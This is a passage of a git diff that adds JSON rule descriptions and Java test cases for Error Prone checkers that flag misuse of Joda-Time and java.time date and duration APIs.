private static final Duration ONE_MILLI = Duration.millis(1);\n private static final Duration ONE_SEC = Duration.standardSeconds(1);\n private static final Duration ONE_MIN = Duration.standardMinutes(1);\n private static final Duration ONE_HOUR = Duration.standardHours(1);\n private static final Duration ONE_DAY = Duration.standardDays(1);\n }" + }, + { + "description": "durationConstructorObject", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration ONE_MILLI = new Duration(\"1\");\n }" + }, + { + "description": "durationConstructorIntInt", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration INTERVAL = new Duration(42, 48);\n }" + }, + { + "description": "durationConstructorIntLong", + "expected-problems": null, + "expected-linenumbers": [ + 78 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration INTERVAL = new Duration(42, 48L);\n }" + }, + { + "description": "durationConstructorLongInt", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration INTERVAL = new Duration(42L, 48);\n }" + }, + { + "description": "durationConstructorLongLong", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration INTERVAL = new Duration(42L, 48L);\n }" + }, + { + "description": "durationConstructorIntPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: Duration ONE_MILLI = Duration.millis(1);\n private static final Duration ONE_MILLI = new Duration(1);\n }" + }, + { + "description": "durationConstructorInteger", + "expected-problems": null, + "expected-linenumbers": [ + 139 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration ONE_MILLI = new Duration(Integer.valueOf(42));\n }" + }, + { + "description": "durationConstructorLongPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: Duration ONE_MILLI = Duration.millis(1L);\n private static final Duration ONE_MILLI = new Duration(1L);\n }" + }, + { + "description": "durationConstructorLongPrimitiveInsideJoda", + "expected-problems": null, + "expected-linenumbers": [ + 171 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Duration ONE_MILLI = new Duration(1L);\n }" + }, + { + "description": "durationConstructorLongPrimitiveNoImport", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "public class TestClass {\n private static final org.joda.time.Duration ONE_MILLI =\n // BUG: Diagnostic contains: Did you mean 'org.joda.time.Duration.millis(1L);'\n new org.joda.time.Duration(1L);\n }" + }, + { + "description": "durationConstructorLong", + "expected-problems": null, + "expected-linenumbers": [ + 201 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration ONE_MILLI = new Duration(Long.valueOf(1L));\n }" + }, + { + "description": "instantConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 217 + ], + "code": "import org.joda.time.Instant;\n\n public class TestClass {\n // BUG: Diagnostic contains: Instant I1 = Instant.now();\n private static final Instant I1 = new Instant();\n // BUG: Diagnostic contains: Instant I2 = Instant.ofEpochMilli(42);\n private static final Instant I2 = new Instant(42);\n }" + }, + { + "description": "instantConstructor_fqcn", + "expected-problems": null, + "expected-linenumbers": [ + 235 + ], + "code": "public class TestClass {\n // BUG: Diagnostic contains: I1 = org.joda.time.Instant.now();\n private static final org.joda.time.Instant I1 = new org.joda.time.Instant();\n // BUG: Diagnostic contains: I2 = org.joda.time.Instant.ofEpochMilli(42);\n private static final org.joda.time.Instant I2 = new org.joda.time.Instant(42);\n }" + }, + { + "description": "dateTimeConstructors", + "expected-problems": null, + "expected-linenumbers": [ + 251 + ], + "code": "import org.joda.time.Chronology;\n import org.joda.time.chrono.GregorianChronology;\n import org.joda.time.DateTime;\n import org.joda.time.DateTimeZone;\n\n public class TestClass {\n private static final DateTimeZone NYC = DateTimeZone.forID(\"America/New_York\");\n private static final Chronology GREG = GregorianChronology.getInstance();\n // BUG: Diagnostic contains: DateTime NOW = DateTime.now();\n private static final DateTime NOW = new DateTime();\n // BUG: Diagnostic contains: DateTime NOW_NYC = DateTime.now(NYC);\n private static final DateTime NOW_NYC = new DateTime(NYC);\n // BUG: Diagnostic contains: DateTime NOW_GREG = DateTime.now(GREG);\n private static final DateTime NOW_GREG = new DateTime(GREG);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDateTimeConstants.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDateTimeConstants.json new file mode 100644 index 0000000..525af36 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDateTimeConstants.json @@ -0,0 +1,38 @@ +{ + "name": "JodaDateTimeConstants", + "language": "java", + "description": "Using the `_PER_` constants in `DateTimeConstants` is problematic because they encourage manual date/time math.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 75, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "assignment", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "" + }, + { + "description": "usedInMultiplication", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "import org.joda.time.DateTimeConstants;\n\n public class TestClass {\n // BUG: Diagnostic contains: JodaDateTimeConstants\n private final long sixMinsInMillis = 6 * DateTimeConstants.MILLIS_PER_MINUTE;\n }" + }, + { + "description": "staticImported", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import static org.joda.time.DateTimeConstants.MILLIS_PER_MINUTE;\n\n public class TestClass {\n // BUG: Diagnostic contains: JodaDateTimeConstants\n private final long sixMinsInMillis = 6 * MILLIS_PER_MINUTE;\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDurationWithMillis.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDurationWithMillis.json new file mode 100644 index 0000000..a22dae0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaDurationWithMillis.json @@ -0,0 +1,70 @@ +{ + "name": "JodaDurationWithMillis", + "language": "java", + "description": "Use of duration.withMillis(long) is not allowed. Please use Duration.millis(long) instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "durationMillis", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration DURATION = Duration.millis(42);\n }" + }, + { + "description": "durationWithMillisIntPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: use Duration.millis(long) instead\n private static final Duration DURATION = Duration.ZERO.withMillis(42);\n }" + }, + { + "description": "durationWithMillisLongPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: use Duration.millis(long) instead\n private static final Duration DURATION = Duration.ZERO.withMillis(42L);\n }" + }, + { + "description": "durationStandardHoursWithMillisLongPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: use Duration.millis(long) instead\n private static final Duration DURATION = Duration.standardHours(1).withMillis(42);\n }" + }, + { + "description": "durationConstructorIntPrimitiveInsideJoda", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Duration DURATION = Duration.ZERO.withMillis(42);\n }" + }, + { + "description": "durationConstructorLongPrimitiveInsideJoda", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Duration DURATION = Duration.ZERO.withMillis(42L);\n }" + }, + { + "description": "durationConstructorLongPrimitiveImportClash", + "expected-problems": null, + "expected-linenumbers": [ + 122 + ], + "code": "import java.time.Duration;\n\n public class TestClass {\n private static final org.joda.time.Duration DURATION =\n // BUG: Diagnostic contains: Did you mean 'org.joda.time.Duration.millis(42L);'\n org.joda.time.Duration.ZERO.withMillis(42L);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaInstantWithMillis.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaInstantWithMillis.json new file mode 100644 index 0000000..5a8d28b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaInstantWithMillis.json @@ -0,0 +1,70 @@ +{ + "name": "JodaInstantWithMillis", + "language": "java", + "description": "Use of instant.withMillis(long) is not allowed. Use Instant.ofEpochMilli(long) instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 3, + "apis": 1, + "test": [ + { + "description": "instantConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.joda.time.Instant;\n\n public class TestClass {\n private static final Instant INSTANT = new Instant(42);\n }" + }, + { + "description": "instantWithMillisIntPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 44 + ], + "code": "import org.joda.time.Instant;\n\n public class TestClass {\n // BUG: Diagnostic contains: Instant.ofEpochMilli(42);\n private static final Instant INSTANT = Instant.now().withMillis(42);\n }" + }, + { + "description": "instantWithMillisLongPrimitive", + "expected-problems": null, + "expected-linenumbers": [ + 60 + ], + "code": "import org.joda.time.Instant;\n\n public class TestClass {\n // BUG: Diagnostic contains: Instant.ofEpochMilli(42L);\n private static final Instant INSTANT = Instant.now().withMillis(42L);\n }" + }, + { + "description": "instantWithMillisNamedVariable", + "expected-problems": null, + "expected-linenumbers": [ + 76 + ], + "code": "import org.joda.time.Instant;\n\n public class TestClass {\n private static final Instant INSTANT1 = new Instant(42);\n // BUG: Diagnostic contains: Instant.ofEpochMilli(44);\n private static final Instant INSTANT2 = INSTANT1.withMillis(44);\n }" + }, + { + "description": "instantConstructorIntPrimitiveInsideJoda", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Instant INSTANT = Instant.now().withMillis(42);\n }" + }, + { + "description": "instantConstructorLongPrimitiveInsideJoda", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Instant INSTANT = Instant.now().withMillis(42L);\n }" + }, + { + "description": "instantConstructorLongPrimitiveImportClash", + "expected-problems": null, + "expected-linenumbers": [ + 123 + ], + "code": "import java.time.Instant;\n\n public class TestClass {\n private static final org.joda.time.Instant INSTANT =\n // BUG: Diagnostic contains: org.joda.time.Instant.ofEpochMilli(42L);\n org.joda.time.Instant.now().withMillis(42L);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaNewPeriod.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaNewPeriod.json new file mode 100644 index 0000000..49d4d5f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaNewPeriod.json @@ -0,0 +1,30 @@ +{ + "name": "JodaNewPeriod", + "language": "java", + "description": "This may have surprising semantics, e.g. new Period(LocalDate.parse(\\", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 2, + "apis": 5, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.joda.time.Instant;\n import org.joda.time.LocalDate;\n import org.joda.time.Period;\n\n public class TestClass {\n // BUG: Diagnostic contains: new Duration(10, 20).getStandardDays()\n private static final int DAYS = new Period(10, 20).getDays();\n\n int days(LocalDate a, LocalDate b) {\n // BUG: Diagnostic contains: Days.daysBetween(a, b).getDays()\n return new Period(a, b).getDays();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 52 + ], + "code": "import org.joda.time.Period;\n import org.joda.time.Instant;\n\n public class TestClass {\n private static final Period period = new Period(10, 20);\n private static final int DAYS = period.getDays();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaPlusMinusLong.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaPlusMinusLong.json new file mode 100644 index 0000000..1731ea7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaPlusMinusLong.json @@ -0,0 +1,110 @@ +{ + "name": "JodaPlusMinusLong", + "language": "java", + "description": "Use of JodaTime's type.plus(long) or type.minus(long) is not allowed (where = {Duration,Instant,DateTime,DateMidnight}). Please use type.plus(Duration.millis(long)) or type.minus(Duration.millis(long)) instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 93, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "instantPlusMinusDuration", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import org.joda.time.Duration;\n import org.joda.time.Instant;\n\n public class TestClass {\n private static final Instant PLUS = Instant.now().plus(Duration.millis(42));\n private static final Instant MINUS = Instant.now().minus(Duration.millis(42));\n }" + }, + { + "description": "instantPlusMinusLong", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import org.joda.time.Duration;\n import org.joda.time.Instant;\n\n public class TestClass {\n private static final Duration D = Duration.ZERO;\n // BUG: Diagnostic contains: Instant.now().plus(Duration.millis(42L));\n private static final Instant PLUS = Instant.now().plus(42L);\n // BUG: Diagnostic contains: Instant.now().plus(D);\n private static final Instant PLUS2 = Instant.now().plus(D.getMillis());\n // BUG: Diagnostic contains: Instant.now().minus(Duration.millis(42L));\n private static final Instant MINUS = Instant.now().minus(42L);\n // BUG: Diagnostic contains: Instant.now().minus(D);\n private static final Instant MINUS2 = Instant.now().minus(D.getMillis());\n }" + }, + { + "description": "instantPlusMinusLong_insideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Instant PLUS = Instant.now().plus(42L);\n private static final Instant MINUS = Instant.now().minus(42L);\n }" + }, + { + "description": "durationPlusMinusDuration", + "expected-problems": null, + "expected-linenumbers": [ + 90 + ], + "code": "import org.joda.time.Duration;\n import org.joda.time.Instant;\n\n public class TestClass {\n private static final Duration PLUS = Duration.ZERO.plus(Duration.millis(42));\n private static final Duration MINUS = Duration.ZERO.minus(Duration.millis(42));\n }" + }, + { + "description": "durationPlusMinusLong", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration D = Duration.ZERO;\n // BUG: Diagnostic contains: Duration.ZERO.plus(Duration.millis(42L));\n private static final Duration PLUS = Duration.ZERO.plus(42L);\n // BUG: Diagnostic contains: Duration.ZERO.plus(D);\n private static final Duration PLUS2 = Duration.ZERO.plus(D.getMillis());\n // BUG: Diagnostic contains: Duration.ZERO.minus(Duration.millis(42L));\n private static final Duration MINUS = Duration.ZERO.minus(42L);\n // BUG: Diagnostic contains: Duration.ZERO.minus(D);\n private static final Duration MINUS2 = Duration.ZERO.minus(D.getMillis());\n }" + }, + { + "description": "durationPlusMinusLong_insideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 130 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Duration PLUS = Duration.ZERO.plus(42L);\n private static final Duration MINUS = Duration.ZERO.minus(42L);\n }" + }, + { + "description": "dateTimePlusMinusDuration", + "expected-problems": null, + "expected-linenumbers": [ + 148 + ], + "code": "import org.joda.time.DateTime;\n import org.joda.time.Duration;\n\n public class TestClass {\n private static final DateTime PLUS = DateTime.now().plus(Duration.millis(42));\n private static final DateTime MINUS = DateTime.now().minus(Duration.millis(42));\n }" + }, + { + "description": "dateTimePlusMinusLong", + "expected-problems": null, + "expected-linenumbers": [ + 165 + ], + "code": "import org.joda.time.DateTime;\n import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration D = Duration.ZERO;\n // BUG: Diagnostic contains: DateTime.now().plus(Duration.millis(42L));\n private static final DateTime PLUS = DateTime.now().plus(42L);\n // BUG: Diagnostic contains: DateTime.now().plus(D);\n private static final DateTime PLUS2 = DateTime.now().plus(D.getMillis());\n // BUG: Diagnostic contains: DateTime.now().minus(Duration.millis(42L));\n private static final DateTime MINUS = DateTime.now().minus(42L);\n // BUG: Diagnostic contains: DateTime.now().minus(D);\n private static final DateTime MINUS2 = DateTime.now().minus(D.getMillis());\n }" + }, + { + "description": "dateTimePlusMinusLong_insideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 189 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final DateTime PLUS = DateTime.now().plus(42L);\n private static final DateTime MINUS = DateTime.now().minus(42L);\n }" + }, + { + "description": "dateMidnightPlusMinusDuration", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "import org.joda.time.DateMidnight;\nimport org.joda.time.Duration;\n\npublic class TestClass {\n private static final DateMidnight PLUS = DateMidnight.now().plus(Duration.millis(42));\n private static final DateMidnight MINUS = DateMidnight.now().minus(Duration.millis(42));\n}" + }, + { + "description": "dateMidnightPlusMinusLong", + "expected-problems": null, + "expected-linenumbers": [ + 224 + ], + "code": "import org.joda.time.DateMidnight;\n import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration D = Duration.ZERO;\n // BUG: Diagnostic contains: DateMidnight.now().plus(Duration.millis(42L));\n private static final DateMidnight PLUS = DateMidnight.now().plus(42L);\n // BUG: Diagnostic contains: DateMidnight.now().plus(D);\n private static final DateMidnight PLUS2 = DateMidnight.now().plus(D.getMillis());\n // BUG: Diagnostic contains: DateMidnight.now().minus(Duration.millis(42L));\n private static final DateMidnight MINUS = DateMidnight.now().minus(42L);\n // BUG: Diagnostic contains: DateMidnight.now().minus(D);\n private static final DateMidnight MINUS2 = DateMidnight.now().minus(D.getMillis());\n }" + }, + { + "description": "dateMidnightPlusMinusLong_insideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 248 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final DateMidnight PLUS = DateMidnight.now().plus(42L);\n private static final DateMidnight MINUS = DateMidnight.now().minus(42L);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaTimeConverterManager.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaTimeConverterManager.json new file mode 100644 index 0000000..716efcc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaTimeConverterManager.json @@ -0,0 +1,30 @@ +{ + "name": "JodaTimeConverterManager", + "language": "java", + "description": "Joda-Time's ConverterManager makes the semantics of DateTime/Instant/etc construction subject to global static state. If you need to define your own converters, use a helper.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 1, + "apis": 1, + "test": [ + { + "description": "converterManager", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.joda.time.convert.ConverterManager;\n\n class Test {\n // BUG: Diagnostic contains: JodaTimeConverterManager\n ConverterManager cm = ConverterManager.getInstance();\n }" + }, + { + "description": "withinJoda", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "package org.joda.time;\n\n import org.joda.time.convert.ConverterManager;\n\n class Test {\n ConverterManager cm = ConverterManager.getInstance();\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaToSelf.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaToSelf.json new file mode 100644 index 0000000..6f66a6e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaToSelf.json @@ -0,0 +1,62 @@ +{ + "name": "JodaToSelf", + "language": "java", + "description": "Use of Joda-Time's DateTime.toDateTime(), Duration.toDuration(), Instant.toInstant(), Interval.toInterval(), and Period.toPeriod() are not allowed.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 103, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "durationWithSeconds", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: private static final Duration DUR = Duration.ZERO;\n private static final Duration DUR = Duration.ZERO.toDuration();\n }" + }, + { + "description": "durationWithSecondsNamedVariable", + "expected-problems": null, + "expected-linenumbers": [ + 45 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration DURATION1 = Duration.ZERO;\n // BUG: Diagnostic contains: private static final Duration DURATION2 = DURATION1;\n private static final Duration DURATION2 = DURATION1.toDuration();\n }" + }, + { + "description": "durationWithSecondsInsideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Duration DURATION = Duration.ZERO.toDuration();\n }" + }, + { + "description": "durationWithSecondsPrimitiveImportClash", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "import org.joda.time.Duration;\n\n public class TestClass {\n private static final org.joda.time.Duration DURATION =\n // BUG: Diagnostic contains: org.joda.time.Duration.ZERO;\n org.joda.time.Duration.ZERO.toDuration();\n }" + }, + { + "description": "dateTimeConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "import org.joda.time.DateTime;\n\n public class TestClass {\n DateTime test(DateTime dt) {\n // BUG: Diagnostic contains: return dt;\n return new DateTime(dt);\n }\n }" + }, + { + "description": "dateTimeConstructorInstant", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "import org.joda.time.DateTime;\n import org.joda.time.Instant;\n\n public class TestClass {\n DateTime test(Instant i) {\n return new DateTime(i);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaWithDurationAddedLong.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaWithDurationAddedLong.json new file mode 100644 index 0000000..2fb03a2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/JodaWithDurationAddedLong.json @@ -0,0 +1,86 @@ +{ + "name": "JodaWithDurationAddedLong", + "language": "java", + "description": "Use of JodaTime's type.withDurationAdded(long, int) (where = {Duration,Instant,DateTime}). Please use type.withDurationAdded(Duration.millis(long), int) instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "instantWithDurationAddedDuration", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import org.joda.time.Duration;\n import org.joda.time.Instant;\n\n public class TestClass {\n private static final Instant NOW = Instant.now();\n private static final Instant A = NOW.withDurationAdded(Duration.millis(42), 1);\n private static final Instant B =\n // BUG: Diagnostic contains: NOW.plus(Duration.millis(42));\n NOW.withDurationAdded(Duration.millis(42).getMillis(), 1);\n }" + }, + { + "description": "instantWithDurationAddedLong", + "expected-problems": null, + "expected-linenumbers": [ + 51 + ], + "code": "import org.joda.time.Duration;\n import org.joda.time.Instant;\n\n public class TestClass {\n private static final Instant NOW = Instant.now();\n // BUG: Diagnostic contains: NOW.withDurationAdded(Duration.millis(42), 2);\n private static final Instant A = NOW.withDurationAdded(42, 2);\n private static final Instant B =\n // BUG: Diagnostic contains: NOW.withDurationAdded(Duration.millis(42), 2);\n NOW.withDurationAdded(Duration.millis(42).getMillis(), 2);\n\n // BUG: Diagnostic contains: NOW.plus(Duration.millis(42));\n private static final Instant PLUS = NOW.withDurationAdded(42, 1);\n // BUG: Diagnostic contains: NOW;\n private static final Instant ZERO = NOW.withDurationAdded(42, 0);\n // BUG: Diagnostic contains: NOW.minus(Duration.millis(42));\n private static final Instant MINUS = NOW.withDurationAdded(42, -1);\n }" + }, + { + "description": "instantWithDurationAddedLong_insideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final Instant A = Instant.now().withDurationAdded(42, 1);\n }" + }, + { + "description": "durationWithDurationAddedDuration", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import static org.joda.time.Duration.ZERO;\n import org.joda.time.Duration;\n\n public class TestClass {\n private static final Duration A = ZERO.withDurationAdded(Duration.millis(42), 1);\n private static final Duration B =\n // BUG: Diagnostic contains: ZERO.plus(Duration.millis(42));\n ZERO.withDurationAdded(Duration.millis(42).getMillis(), 1);\n }" + }, + { + "description": "durationWithDurationAddedLong", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import static org.joda.time.Duration.ZERO;\n import org.joda.time.Duration;\n\n public class TestClass {\n // BUG: Diagnostic contains: ZERO.withDurationAdded(Duration.millis(42), 2);\n private static final Duration A = ZERO.withDurationAdded(42, 2);\n private static final Duration B =\n // BUG: Diagnostic contains: ZERO.withDurationAdded(Duration.millis(42), 2);\n ZERO.withDurationAdded(Duration.millis(42).getMillis(), 2);\n\n // BUG: Diagnostic contains: ZERO.plus(Duration.millis(42));\n private static final Duration PLUS = ZERO.withDurationAdded(42, 1);\n // BUG: Diagnostic contains: ZERO;\n private static final Duration ZEROX = ZERO.withDurationAdded(42, 0);\n // BUG: Diagnostic contains: ZERO.minus(Duration.millis(42));\n private static final Duration MINUS = ZERO.withDurationAdded(42, -1);\n }" + }, + { + "description": "durationWithDurationAddedLong_insideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 142 + ], + "code": "package org.joda.time;\n\n import static org.joda.time.Duration.ZERO;\n\n public class TestClass {\n private static final Duration A = ZERO.withDurationAdded(42, 1);\n }" + }, + { + "description": "dateTimeWithDurationAddedDuration", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "import org.joda.time.Duration;\n import org.joda.time.DateTime;\n\n public class TestClass {\n private static final DateTime NOW = DateTime.now();\n private static final DateTime A = NOW.withDurationAdded(Duration.millis(42), 1);\n private static final DateTime B =\n // BUG: Diagnostic contains: NOW.plus(Duration.millis(42));\n NOW.withDurationAdded(Duration.millis(42).getMillis(), 1);\n }" + }, + { + "description": "dateTimeWithDurationAddedLong", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "import org.joda.time.DateTime;\n import org.joda.time.Duration;\n\n public class TestClass {\n private static final DateTime NOW = DateTime.now();\n // BUG: Diagnostic contains: NOW.withDurationAdded(Duration.millis(42), 2);\n private static final DateTime A = NOW.withDurationAdded(42, 2);\n private static final DateTime B =\n // BUG: Diagnostic contains: NOW.withDurationAdded(Duration.millis(42), 2);\n NOW.withDurationAdded(Duration.millis(42).getMillis(), 2);\n\n // BUG: Diagnostic contains: NOW.plus(Duration.millis(42));\n private static final DateTime PLUS = NOW.withDurationAdded(42, 1);\n // BUG: Diagnostic contains: NOW;\n private static final DateTime ZERO = NOW.withDurationAdded(42, 0);\n // BUG: Diagnostic contains: NOW.minus(Duration.millis(42));\n private static final DateTime MINUS = NOW.withDurationAdded(42, -1);\n }" + }, + { + "description": "dateTimeWithDurationAddedLong_insideJodaTime", + "expected-problems": null, + "expected-linenumbers": [ + 209 + ], + "code": "package org.joda.time;\n\n public class TestClass {\n private static final DateTime A = DateTime.now().withDurationAdded(42, 1);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/LocalDateTemporalAmount.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/LocalDateTemporalAmount.json new file mode 100644 index 0000000..8db16f6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/time/LocalDateTemporalAmount.json @@ -0,0 +1,62 @@ +{ + "name": "LocalDateTemporalAmount", + "language": "java", + "description": "LocalDate.plus() and minus() does not work with Durations. LocalDate represents civil time (years/months/days), so java.time.Period is the appropriate thing to add or subtract instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "localDatePlus_good", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import java.time.LocalDate;\n import java.time.Period;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final LocalDate LD = LocalDate.of(1985, 5, 31);\n private static final Period PERIOD = Period.ofDays(1);\n private static final LocalDate LD1 = LD.plus(PERIOD);\n private static final LocalDate LD2 = LD.plus(1, ChronoUnit.DAYS);\n }" + }, + { + "description": "localDatePlus_bad", + "expected-problems": null, + "expected-linenumbers": [ + 49 + ], + "code": "import java.time.Duration;\n import java.time.LocalDate;\n\n public class TestClass {\n private static final LocalDate LD = LocalDate.of(1985, 5, 31);\n private static final Duration DURATION = Duration.ofDays(1);\n // BUG: Diagnostic contains: LocalDateTemporalAmount\n private static final LocalDate LD0 = LD.plus(DURATION);\n }" + }, + { + "description": "localDatePlus_zero", + "expected-problems": null, + "expected-linenumbers": [ + 68 + ], + "code": "" + }, + { + "description": "localDateMinus_good", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import java.time.LocalDate;\n import java.time.Period;\n import java.time.temporal.ChronoUnit;\n\n public class TestClass {\n private static final LocalDate LD = LocalDate.of(1985, 5, 31);\n private static final Period PERIOD = Period.ofDays(1);\n private static final LocalDate LD1 = 